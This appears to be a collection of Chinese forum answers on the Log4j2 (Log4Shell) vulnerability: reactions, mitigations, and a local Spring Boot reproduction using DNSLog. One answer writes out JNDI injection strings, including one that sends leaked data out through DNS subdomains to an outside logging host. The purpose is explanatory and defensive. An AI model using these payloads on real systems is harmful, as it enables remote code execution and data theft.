不用过度解读,就当是个天灾意外好了
这种诡异的隐藏如此之深的漏洞,不可能在开发测试阶段就被发现,code review时能看出来的绝对是神仙。
----- 前方高能,大批量神仙即将出没在评论区----
这种意外跟开源不开源没啥关系,跟投入多少研发人员资金没啥关系,意外就是意外,小概率事件,一定会发生且无法杜绝。
重点是建立应急防御机制,从这件事来看,全球各个企业机构反应还是很快的,开发维护者也响应很及时。虽然天灾无可避免,但救灾行动快一点就行。
不要借题发挥了,如果能讲解下漏洞原理,复现方法,给大家长长见识也是可以的,但是啥都不懂还能异想天开胡说八道11条就免了吧。
攻击者可以利用注入语句,在目标服务器上执行任意代码,没有什么比这更严重了吧?而且这次中招的log4j2框架在业务中又十分常见,影响范围非常广。
现在各大网站都在填补漏洞,如果没赶上大新闻,可以尝试在本地自己复现一下漏洞,可以很直观地感受到事情的严重性。我在这篇文章中讲解了详细的复现步骤:
log4j一个写日志的库,不好好写日志,非要远程执行代码。
简单说类似于 登录框中的sql注入攻击。
这个库十几万代码,上万次提交。。。
回顾一下12.10一天的经历
昨天一整天都在被公司群、闲聊扯淡群、知乎上log4j2漏洞的事情刷屏。各位小伙伴分享着自己公司的解决方案,吐槽半夜被叫醒加班补漏洞,还有说全公司都在发版导致发布系统挂了现在只能划水吃瓜。当然,还有各种科普贴描述漏洞的原因、攻击原理以及千篇一律的带有计算器的被打码的截图和这个http://dnslog.cn网站的dns记录截图。
作为一名纯粹的后端搬砖程序员,平日对安全领域真的是没啥涉猎。所以这个网站是干啥的?为啥有记录就证明百度、iCloud被攻击了?于是抱着学习的态度研究了一番,有了一丢丢的收获。
讲人话:DNSLog可以为你免费分配一个二级域名,并记录这个二级域名做DNS解析过程中的域名和IP映射关系的请求记录。当你对这个二级域名进行请求时,自然会进行DNS解析,所以你就会在当前的页面查看到解析的记录。
比如我随机分配到了这个域名:http://7lqs4g.dnslog.cn
之后我请求这个域名,当然,什么都不会返回。但是在DNSLog的页面上,会显示域名解析记录,如图:
本次的log4j2漏洞,是通过构造一个${jndi:ldap://http://blabla.com}格式的字符串,在log4j2打印包含这个字符串的日志时,通过JNDI对ldap://http://blabla.com进行请求。所以,如果能注入成功,则在请求网址的时候,会对http://blabla.com这个域名进行解析,并留下解析记录。
所以这就是为什么,用DNSLog网站的截图来证明,各大网站存在漏洞的原因。因为注入成功就会有记录呀。
于是在本地也感受一下。新建一个Spring Boot的Web项目,配置好我们这次的主角log4j2。
写一个简单的post请求的接口,里面的内容就是输出请求的信息。对这个接口进行正常的请求,输出如下:
之后我们在将请求构造成注入攻击的格式,带上我们新申请的二级域名:${jndi:ldap://http://gc46bp.dnslog.cn}。再发起一次请求,结果如图:
可以看到,攻击生效了,回到DNSLog页面上刷新一下DNS解析记录,已经出现了。
目前各大厂给出的方案可以参考这篇回答:
总结起来有以下几个:
log4j升级到2.15.0版本
这个方案我尝试之后是可行的
那就是不用log4j2啦,直接用logBack就好了哈哈哈哈。
因为自己的项目使用的是logback,所以这一整天就看别人在那升级版本上线了,全程吃瓜。
而且也因为Spring Boot是默认使用的logback,所以做测试的项目创建后忘了配置接入log4j2,测了几次发现没bug啊……尴尬。
再说回到DNSLog。那这个网站就只是看一下DNS解析记录?并不是,其实他的作用是对注入获得的信息进行回显。你可以将要回显的信息构造成子域名,这样信息就可以直接在DNS解析记录里看到了。
那么我们就可以结合刚才的知识,来设计一个暴露网站敏感信息的供给。假如我的脑残网站有这样的代码:
然后我构造如下的入参,进行注入攻击:${jndi:ldap://{}.http://hbh9cz.dnslog.cn}
可以看到,实际上输出的日志变成:
再查看DNSLog的解析记录,可以看到我们要的信息已经带出来了。
哎,要学的东西实在是太多了,作为程序员,还是要不断学习不断进步,以后遇到这种漏洞产生的危害时,才能从容应对啊。这里准备了一些Java程序员的学习资料,一起进步吧。
草率引入已知有远程执行风险的JNDI,默认启用并且长期没有人关注是问题之一,但我认为最根本的还是来自于不可信任来源的数据(用户输入)最终在没有任何监管的情况下被当作了必须被信任的数据(被解析+执行的命令)。在现代编程实践中,我们必须认识到,因为各类动态特性的引入,数据和代码并不能被严格区分,不可信任的数据应该像不可信任的代码一样被谨慎处理,而目前的编译系统并不能有效区分数据来源。区分数据来源和可信度对业务系统来说比区分数据类型重要得多,而现在的类型系统花时间区分String还是int,却对源自于用户的String和源自于可信位置的String毫不区分,这是非常荒唐的事情。
也许以后的类型系统可以增加一种“染色”的特性: